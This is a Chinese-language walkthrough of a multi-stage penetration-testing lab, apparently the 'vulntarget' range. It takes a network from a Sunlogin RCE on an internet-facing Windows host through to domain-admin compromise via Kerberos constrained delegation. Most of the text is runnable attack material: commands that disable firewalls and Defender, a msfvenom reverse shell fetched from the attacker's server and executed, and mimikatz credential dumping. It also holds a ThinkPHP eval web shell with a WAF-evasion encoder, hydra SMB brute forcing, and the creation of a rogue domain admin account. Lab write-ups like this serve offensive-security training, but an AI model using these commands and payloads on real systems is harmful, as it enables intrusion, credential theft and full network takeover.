虚拟机网络配置:
拓扑图:
扫描存活主机和端口
这里外网win2016靶机有开防火墙,所以需要加个-d参数绕过防火墙进行端口扫描,但是这里扫的时候出了点问题,不过多试几次也能扫出来开放了5985端口(WinRM服务)和49773端口
后面发现这样来扫会更快
nmap -sC -sV -p- 192.168.150.137 -n -vv --min-rate=2000
其中49773端口不知道是开着什么服务
扫目录也没发现啥有用信息
接着利用指纹识别工具observer_ward扫一下发现是向日葵服务(第一次使用的话使用-u
参数从指纹库中更新指纹
可以利用前段时间爆出来的向日葵远程rce漏洞,通过工具sunRce进行命令执行
查看防火墙状态发现是打开的,于是通过命令执行将其关闭
./sunRce -h 192.168.150.137 -p 49773 -c "netsh advfirewall show allprofile state" -t rce
./sunRce -h 192.168.150.137 -p 49773 -c "netsh advfirewall set allprofiles state off" -t rce
再执行命令tasklist /svc发现开着Defender,并命令执行将其关闭,但是它实时保护还是开着,上传的木马还是会被df杀掉
./sunRce -h 192.168.150.137 -p 49773 -c "tasklist /svc" -t rce
./sunRce -h 192.168.150.137 -p 49773 -c "set-MpPreference -DisableRealtimeMonitoring $true" -t rce
所以我们可以制作免杀马或者通过powershell的这条语句执行策略绕过
./sunRce -h 192.168.150.137 -p 49773 -c "powershell -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath \"C:\Users\Administrator\"" -t rce
msf生成木马并开启web服务
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.150.128 lport=4444 -f exe > test.exe
python -m http.server 80
下载文件并执行
./sunRce -h 192.168.150.137 -p 49773 -c "powershell(new-object System.Net.WebClient).DownloadFile('http://192.168.150.128/test.exe','C:\Users\Administrator\test.exe')" -t rce
./sunRce -h 192.168.150.137 -p 49773 -c "cd C:\Users\Administrator;dir" -t rce
./sunRce -h 192.168.150.137 -p 49773 -c "start C:\Users\Administrator\test.exe" -t rce
msf成功上线
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.150.128
run
进入后信息收集一波
在桌面发现需要测试的地址.txt
然后这里猕猴桃抓密码还是没结果
根据上次的经验,我们将进程迁移到x64位上去
再执行一下即可获取到密码
普通用户的话可以抓下来本地用mimikatz读取
reg save hklm\sam sam.hive
reg save hklm\system system.hive
lsadump::sam /sam:sam.hive /system:system.hive
也可以通过cs生成木马来实现上线
信息收集
利用hashdump或者猕猴桃抓取密码
最后解码得到管理员和普通用户密码:administrator/win2008;ash/qweASD123
在桌面找到文件需要测试的地址.txt
portscan扫描发现192.168.100.131,存在22、80、3333、8888端口,可以知道用了宝塔
上传frp客户端建立代理
./frps -c ./frps.ini
frpc.exe -c ./frpc.ini &
通过msf查看浏览器的历史记录
run post/windows/gather/forensics/browser_history
用sqllite打开它,执行如下语句,可以发现几个有用的路径信息
select url from moz_places
但是访问都是报400
这时候回想起前面我们dump下来的需要测试的地址.txt,猜测应该要host碰撞
通过工具hostscan可以发现192.168.100.131对应的域名地址是www.cJO6w10YLS.com
然后修改一下host头可以发现是thinkphp 5.0
搜一下这个版本的漏洞看到有个5.X的rce
尝试发现system会被宝塔拦截,不过eval没有被ban,可以用eval写马
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
phpinfo也会被拦,还可以通过file_put_contents写文件,但是当前的目录没有权限不可写,需要目录穿越到根目录下
通过三次url编码的加密成功写入
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=../../1.php&vars[1][1]=%3C?php%20eval(urldecode(urldecode(urldecode($_REQUEST[cmd]))));?%3E
然后蚁剑连接时还需要编写一下蚁剑的编码规则以及host即可成功连接
'use strict';
// ########## 请在下方编写你自己的代码 ###################
function forceEncode(s) {
return Array.from(s).map(i=>'%'+i.charCodeAt(0).toString(16).padStart(2,'0')).join('')
}
module.exports = (pwd, data, ext={}) => {
const payload = data['_']
data[pwd] = forceEncode(forceEncode(payload));
delete data['_'];
console.log(data);
return data;
}
连上后发现命令都是不可执行的,说明存在disable_function
这里我们可以使用php7-gc-bypass绕过disable_function并执行系统命令
信息收集发现还有个192.168.88.100的网卡
在/home/vulntarget路径下发现了key文件,将其dump下来
前面扫端口的时候就发现开放了ssh,所以尝试使用key连接ssh,最终尝试使用root成功登录
关闭防火墙
# 关闭防火墙
ufw disable
# 查看防火墙状态
ufw status
上传fscan扫一下内网,发现主机192.168.88.102开放了135、445、1433端口,存在SQL server服务
通过工具hydra爆破smb得到账号密码:administrator/admin@123
hydra -L user.txt -P pass.txt 192.168.88.102 smb
通过工具wmiexec.py远程执行成功上线
信息搜集发现还有个10.0.10的网卡
发现存在域vulntarget.com
关闭防火墙
netsh advfirewall set allprofiles state off
netsh advfirewall show allprofile state
然后使用下面的命令打开3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
成功进入远程桌面
上传mimikatz、ADFind、kekeo,探测win2008是否存在约束委派
mimikatz获取密码:win2008/qweASD123
# 提升权限
privilege::debug
# 抓取密码
sekurlsa::logonpasswords
查找约束性委派主机,可以发现第三台主机win2008对第四台主机10.10的CIFS服务存在约束委派
AdFind.exe -h 10.0.10.128 -u win2008 -up qweASD123 -b "DC=nami,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
然后用kekeo请求win2008的TGT
# 使用kekeo进行一个票据的请求
tgt::ask /user:win2008 /domain:vulntarget.com /password:qweASD123 /ticket:ash.kirbi
# 申请administrator权限的票据
tgs::s4u /tgt:TGT_win2008@VULNTARGET.COM_krbtgt~vulntarget.com@VULNTARGET.COM.kirbi /user:Administrator@vulntarget.com /service:cifs/WIN-1PV25H8UJPN.vulntarget.com
利用mimikatz导入S4U2proxy阶段生成的ST
kerberos::ptt TGS_Administrator@vulntarget.com@VULNTARGET.COM_cifs~WIN-1PV25H8UJPN.vulntarget.com@VULNTARGET.COM.kirbi
dir访问域控
dir \\WIN-1PV25H8UJPN.vulntarget.com\C$
然后net user添加一个域用户,并加入到域管理员中
net user admin123 admin@1234 /add /domain
net group "domain admins" admin123 /add /domain
最后使用wmiexec远程执行成功上线